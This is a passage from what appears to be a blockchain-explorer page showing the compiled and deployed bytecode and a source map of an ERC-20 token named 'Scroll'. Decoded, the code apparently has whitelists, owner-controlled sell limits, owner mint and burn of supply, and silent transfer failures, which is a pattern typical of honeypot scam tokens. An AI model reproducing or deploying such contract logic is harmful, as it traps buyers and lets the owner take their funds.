fffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114b99190612078565b9250508190555080600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461150f9190612118565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115739190611dd4565b60405180910390a3505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148061162b5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b6000806000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561169f57600080fd5b505afa1580156116b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116d791906124ca565b506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff169150600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561176457600080fd5b505afa158015611778573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061179c9190612532565b73ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561181a57600080fd5b505afa15801561182e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118529190612532565b73ffffffffffffffffffffffffffffffffffffffff16141561192657600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663054d50d48583856040518463ffffffff1660e01b81526004016118cd9392919061255f565b60206040518083038186803b1580156118e557600080fd5b505afa1580156118f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061191d91906125ab565b925050506119da565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663054d50d48584846040518463ffffffff1660e01b81526004016119859392919061255f565b60206040518083038186803b15801561199d57600080fd5b505afa1580156119b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119d591906125ab565b925050505b919050565b6119e7611b1a565b15611b15576119f583611580565b15611a515780600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a499190612118565b925050819055505b611a5a82611580565b15611b145780600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611aae9190612118565b92505081905550611abe81611632565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b0c9190612118565b925050819055505b5b505050565b6000806000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015611b8757600080fd5b505afa158015611b9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bbf91906124ca565b506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff169150600082118015611bf45750600081115b9250505090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611c35578082015181840152602081019050611c1a565b83811115611c44576000848401525b50505050565b6000601f19601f8301169050919050565b6000611c6682611bfb565b611c708185611c06565b9350611c80818560208601611c17565b611c8981611c4a565b840191505092915050565b60006020820190508181036000830152611cae8184611c5b565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611ce682611cbb565b9050919050565b611cf681611cdb565b8114611d0157600080fd5b50565b600081359050611d1381611ced565b92915050565b6000819050919050565b611d2c81611d19565b8114611d3757600080fd5b50565b600081359050611d4981611d23565b92915050565b60008060408385031215611d6657611d65611cb6565b5b6000611d7485828601611d04565b9250506020611d8585828601611d3a565b9150509250929050565b60008115159050919050565b611da481611d8f565b82525050565b6000602082019050611dbf6000830184611d9b565b92915050565b611dce81611d19565b82525050565b6000602082019050611de96000830184611dc5565b92915050565b600080600060608486031215611e0857611e07611cb6565b5b6000611e1686828701611d04565b9350506020611e2786828701611d04565b9250506040611e3886828701611d3a565b9150509250925092565b600060208284031215611e5857611e57611cb6565b5b6000611e6684828501611d04565b91505092915050565b600060ff82169050919050565b611e8581611e6f565b82525050565b6000602082019050611ea06000830184611e7c565b92915050565b600060208284031215611ebc57611ebb611cb6565b5b6000611eca84828501611d3a565b91505092915050565b611edc81611cdb565b82525050565b6000602082019050611ef76000830184611ed3565b92915050565b6000819050919050565b6000611f22611f1d611f1884611cbb565b611efd565b611cbb565b9050919050565b6000611f3482611f07565b9050919050565b6000611f4682611f29565b9050919050565b611f5681611f3b565b82525050565b6000602082019050611f716000830184611f4d565b92915050565b60008060408385031215611f8e57611f8d611cb6565b5b6000611f9c85828601611d04565b9250506020611fad85828601611d04565b9150509250929050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000612013602883611c06565b915061201e82611fb7565b604082019050919050565b6000602082019050818103600083015261204281612006565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061208382611d19565b915061208e83611d19565b9250828210156120a1576120a0612049565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006120e2602083611c06565b91506120ed826120ac565b602082019050919050565b60006020820190508181036000830152612111816120d5565b9050919050565b600061212382611d19565b915061212e83611d19565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561216357612162612049565b5b828201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006121ca602483611c06565b91506121d58261216e565b604082019050919050565b600060208201905081810360008301526121f9816121bd565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061225c602283611c06565b915061226782612200565b604082019050919050565b6000602082019050818103600083015261228b8161224f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006122ee602583611c06565b91506122f982612292565b604082019050919050565b6000602082019050818103600083015261231d816122e1565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612380602383611c06565b915061238b82612324565b604082019050919050565b600060208201905081810360008301526123af81612373565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612412602683611c06565b915061241d826123b6565b604082019050919050565b6000602082019050818103600083015261244181612405565b9050919050565b60006dffffffffffffffffffffffffffff82169050919050565b61246b81612448565b811461247657600080fd5b50565b60008151905061248881612462565b92915050565b600063ffffffff82169050919050565b6124a78161248e565b81146124b257600080fd5b50565b6000815190506124c48161249e565b92915050565b6000806000606084860312156124e3576124e2611cb6565b5b60006124f186828701612479565b935050602061250286828701612479565b9250506040612513868287016124b5565b9150509250925092565b60008151905061252c81611ced565b92915050565b60006020828403121561254857612547611cb6565b5b60006125568482850161251d565b91505092915050565b60006060820190506125746000830186611dc5565b6125816020830185611dc5565b61258e6040830184611dc5565b949350505050565b6000815190506125a581611d23565b92915050565b6000602082840312156125c1576125c0611cb6565b5b60006125cf84828501612596565b9150509291505056fea264697066735822122020eb949ef2bb7d7cd9a7736f140379442d297fcfd62a6127277aad01dca0c1cc64736f6c63430008090033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c806352390c02116100b8578063a8aa1b311161007c578063a8aa1b3114610389578063a9059cbb146103a7578063b59c0974146103d7578063dd62ed3e146103e1578063e6bd7ed114610411578063ee97f7f31461042d57610142565b806352390c02146102d157806370a08231146102ed57806383d972f91461031d5780638da5cb5b1461034d57806395d89b411461036b57610142565b80632782e35b1161010a5780632782e35b146101ff578063313ce5671461022f5780633685d4191461024d5780633b24c4bb146102695780633fb5c1cb1461029957806342966c68146102b557610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd1461019557806323b872dd146101b357806326fae0d3146101e3575b600080fd5b61014f61044b565b60405161015c9190611c94565b60405180910390f35b61017f600480360381019061017a9190611d4f565b610488565b60405161018c9190611daa565b60405180910390f35b61019d6104a6565b6040516101aa9190611dd4565b60405180910390f35b6101cd60048036038101906101c89190611def565b6104b0565b6040516101da9190611daa565b60405180910390f35b6101fd60048036038101906101f89190611e42565b6105c2565b005b61021960048036038101906102149190611e42565b610828565b6040516102269190611daa565b60405180910390f35b610237610848565b6040516102449190611e8b565b60405180910390f35b61026760048036038101906102629190611e42565b610851565b005b610283600480360381019061027e9190611e42565b610906565b6040516102909190611dd4565b60405180910390f35b6102b360048036038101906102ae9190611ea6565b61091e565b005b6102cf60048036038101906102ca9190611ea6565b6109bd565b005b6102eb60048036038101906102e69190611e42565b610acb565b005b61030760048036038101906103029190611e42565b610b80565b6040516103149190611dd4565b60405180910390f35b61033760048036038101906103329190611e42565b610bc9565b6040516103449190611dd4565b60405180910390f35b610355610be1565b6040516103629190611ee2565b60405180910390f35b610373610c0a565b6040516103809190611c94565b60405180910390f35b610391610c47565b60405161039e9190611f5c565b60405180910390f35b6103c160048036038101906103bc9190611d4f565b610c6d565b6040516103ce9190611daa565b60405180910390f35b6103df610ca3565b005b6103fb60048036038101906103f69190611f77565b610d81565b6040516104089190611dd4565b60405180910390f35b61042b60048036038101906104269190611ea6565b610e08565b005b610435610f16565b6040516104429190611ee2565b60405180910390f35b60606040518060400160405280600681526020017f5363726f6c6c0000000000000000000000000000000000000000000000000000815250905090565b600061049c610495610f3c565b8484610f44565b6001905092915050565b6000600b54905090565b60006104bd84848461110f565b156105b7576000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050d610f3c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561058d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058490612029565b60405180910390fd5b6105988585856112fd565b6105b5856105a4610f3c565b85846105b09190612078565b610f44565b505b600190509392505050565b6105ca610f3c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610657576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064e906120f8565b60405180910390fd5b600060076000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060001960076000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60056020528060005260406000206000915054906101000a900460ff1681565b60006012905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ab57600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600a6020528060005260406000206000915090505481565b610926610f3c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109aa906120f8565b60405180910390fd5b80600c8190555050565b6109c5610f3c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a49906120f8565b60405180910390fd5b8060066000610a5f610be1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610aa89190612078565b9250508190555080600b6000828254610ac19190612078565b9250508190555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b2557600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60096020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f5363726f6c6c0000000000000000000000000000000000000000000000000000815250905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610c81610c7a610f3c565b848461110f565b15610c9957610c98610c91610f3c565b84846112fd565b5b6001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cfd57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610d6757600080fd5b505af1158015610d7b573d6000803e3d6000fd5b50505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e10610f3c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e94906120f8565b60405180910390fd5b8060066000610eaa610be1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ef39190612118565b9250508190555080600b6000828254610f0c9190612118565b9250508190555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fab906121e0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611024576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101b90612272565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111029190611dd4565b60405180910390a3505050565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806111b25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156111c057600190506112f6565b6111c984611580565b156111d757600190506112f6565b6111e083611580565b156112f15760006111f083611632565b90506000600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905085826112ca9190612118565b83101580156112e6575083816112e09190612118565b600c5410155b9450505050506112f6565b600190505b9392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561136d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136490612304565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d490612396565b60405180910390fd5b6113e88383836119df565b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561146a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146190612428565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114b99190612078565b9250508190555080600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461150f9190612118565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115739190611dd4565b60405180910390a3505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148061162b5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b6000806000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561169f57600080fd5b505afa1580156116b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116d791906124ca565b506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff169150600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561176457600080fd5b505afa158015611778573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061179c9190612532565b73ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561181a57600080fd5b505afa15801561182e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118529190612532565b73ffffffffffffffffffffffffffffffffffffffff16141561192657600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663054d50d48583856040518463ffffffff1660e01b81526004016118cd9392919061255f565b60206040518083038186803b1580156118e557600080fd5b505afa1580156118f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061191d91906125ab565b925050506119da565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663054d50d48584846040518463ffffffff1660e01b81526004016119859392919061255f565b60206040518083038186803b15801561199d57600080fd5b505afa1580156119b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119d591906125ab565b925050505b919050565b6119e7611b1a565b15611b15576119f583611580565b15611a515780600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a499190612118565b925050819055505b611a5a82611580565b15611b145780600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611aae9190612118565b92505081905550611abe81611632565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b0c9190612118565b925050819055505b5b505050565b6000806000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015611b8757600080fd5b505afa158015611b9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bbf91906124ca565b506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff169150600082118015611bf45750600081115b9250505090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611c35578082015181840152602081019050611c1a565b83811115611c44576000848401525b50505050565b6000601f19601f8301169050919050565b6000611c6682611bfb565b611c708185611c06565b9350611c80818560208601611c17565b611c8981611c4a565b840191505092915050565b60006020820190508181036000830152611cae8184611c5b565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611ce682611cbb565b9050919050565b611cf681611cdb565b8114611d0157600080fd5b50565b600081359050611d1381611ced565b92915050565b6000819050919050565b611d2c81611d19565b8114611d3757600080fd5b50565b600081359050611d4981611d23565b92915050565b60008060408385031215611d6657611d65611cb6565b5b6000611d7485828601611d04565b9250506020611d8585828601611d3a565b9150509250929050565b60008115159050919050565b611da481611d8f565b82525050565b6000602082019050611dbf6000830184611d9b565b92915050565b611dce81611d19565b82525050565b6000602082019050611de96000830184611dc5565b92915050565b600080600060608486031215611e0857611e07611cb6565b5b6000611e1686828701611d04565b9350506020611e2786828701611d04565b9250506040611e3886828701611d3a565b9150509250925092565b600060208284031215611e5857611e57611cb6565b5b6000611e6684828501611d04565b91505092915050565b600060ff82169050919050565b611e8581611e6f565b82525050565b6000602082019050611ea06000830184611e7c565b92915050565b600060208284031215611ebc57611ebb611cb6565b5b6000611eca84828501611d3a565b91505092915050565b611edc81611cdb565b82525050565b6000602082019050611ef76000830184611ed3565b92915050565b6000819050919050565b6000611f22611f1d611f1884611cbb565b611efd565b611cbb565b9050919050565b6000611f3482611f07565b9050919050565b6000611f4682611f29565b9050919050565b611f5681611f3b565b82525050565b6000602082019050611f716000830184611f4d565b92915050565b60008060408385031215611f8e57611f8d611cb6565b5b6000611f9c85828601611d04565b9250506020611fad85828601611d04565b9150509250929050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000612013602883611c06565b915061201e82611fb7565b604082019050919050565b6000602082019050818103600083015261204281612006565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061208382611d19565b915061208e83611d19565b9250828210156120a1576120a0612049565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006120e2602083611c06565b91506120ed826120ac565b602082019050919050565b60006020820190508181036000830152612111816120d5565b9050919050565b600061212382611d19565b915061212e83611d19565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561216357612162612049565b5b828201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006121ca602483611c06565b91506121d58261216e565b604082019050919050565b600060208201905081810360008301526121f9816121bd565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061225c602283611c06565b915061226782612200565b604082019050919050565b6000602082019050818103600083015261228b8161224f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006122ee602583611c06565b91506122f982612292565b604082019050919050565b6000602082019050818103600083015261231d816122e1565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612380602383611c06565b915061238b82612324565b604082019050919050565b600060208201905081810360008301526123af81612373565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612412602683611c06565b915061241d826123b6565b604082019050919050565b6000602082019050818103600083015261244181612405565b9050919050565b60006dffffffffffffffffffffffffffff82169050919050565b61246b81612448565b811461247657600080fd5b50565b60008151905061248881612462565b92915050565b600063ffffffff82169050919050565b6124a78161248e565b81146124b257600080fd5b50565b6000815190506124c48161249e565b92915050565b6000806000606084860312156124e3576124e2611cb6565b5b60006124f186828701612479565b935050602061250286828701612479565b9250506040612513868287016124b5565b9150509250925092565b60008151905061252c81611ced565b92915050565b60006020828403121561254857612547611cb6565b5b60006125568482850161251d565b91505092915050565b60006060820190506125746000830186611dc5565b6125816020830185611dc5565b61258e6040830184611dc5565b949350505050565b6000815190506125a581611d23565b92915050565b6000602082840312156125c1576125c0611cb6565b5b60006125cf84828501612596565b9150509291505056fea264697066735822122020eb949ef2bb7d7cd9a7736f140379442d297fcfd62a6127277aad01dca0c1cc64736f6c63430008090033

Deployed Bytecode Sourcemap

9503:6791:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10912:97;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11879:163;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11229:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12051:532;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12840:198;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9750:49;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11126:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13126:114;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10035:46;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12730:101;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12592:129;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13249:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11340:121;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9985:43;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;643:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11018:99;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9638:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11470:246;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13047:70;;;:::i;:::-;;11725:145;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13375:138;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9722:21;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10912:97;10960:13;10986:15;;;;;;;;;;;;;;;;;;;10912:97;:::o;11879:163::-;11956:4;11973:39;11982:12;:10;:12::i;:::-;11996:7;12005:6;11973:8;:39::i;:::-;12030:4;12023:11;;11879:163;;;;:::o;11229:102::-;11284:7;11311:12;;11304:19;;11229:102;:::o;12051:532::-;12185:4;12206:39;12219:6;12227:9;12238:6;12206:12;:39::i;:::-;12202:352;;;12262:24;12289:11;:19;12301:6;12289:19;;;;;;;;;;;;;;;:33;12309:12;:10;:12::i;:::-;12289:33;;;;;;;;;;;;;;;;12262:60;;12365:6;12345:16;:26;;12337:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;12434:36;12444:6;12452:9;12463:6;12434:9;:36::i;:::-;12485:57;12494:6;12502:12;:10;:12::i;:::-;12535:6;12516:16;:25;;;;:::i;:::-;12485:8;:57::i;:::-;12247:307;12202:352;12571:4;12564:11;;12051:532;;;;;:::o;12840:198::-;781:12;:10;:12::i;:::-;771:22;;:6;;;;;;;;;;:22;;;763:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12943:1:::1;12906:11;:26;12926:4;;;;;;;;;;;12906:26;;;;;;;;;;;;;;;:34;12933:6;;;;;;;;;;;12906:34;;;;;;;;;;;;;;;:38;;;;12964:7;12955:6;;:16;;;;;;;;;;;;;;;;;;13028:1;13019:11;12982;:26;13002:4;;;;;;;;;;;12982:26;;;;;;;;;;;;;;;:34;13009:6;;;;;;;;;;;12982:34;;;;;;;;;;;;;;;:48;;;;12840:198:::0;:::o;9750:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;11126:94::-;11178:5;9710:2;11196:16;;11126:94;:::o;13126:114::-;10270:6;;;;;;;;;;;10256:20;;:10;:20;;;10248:29;;;;;;13228:4:::1;13199:17;:26;13217:7;13199:26;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;13126:114:::0;:::o;10035:46::-;;;;;;;;;;;;;;;;;:::o;12730:101::-;781:12;: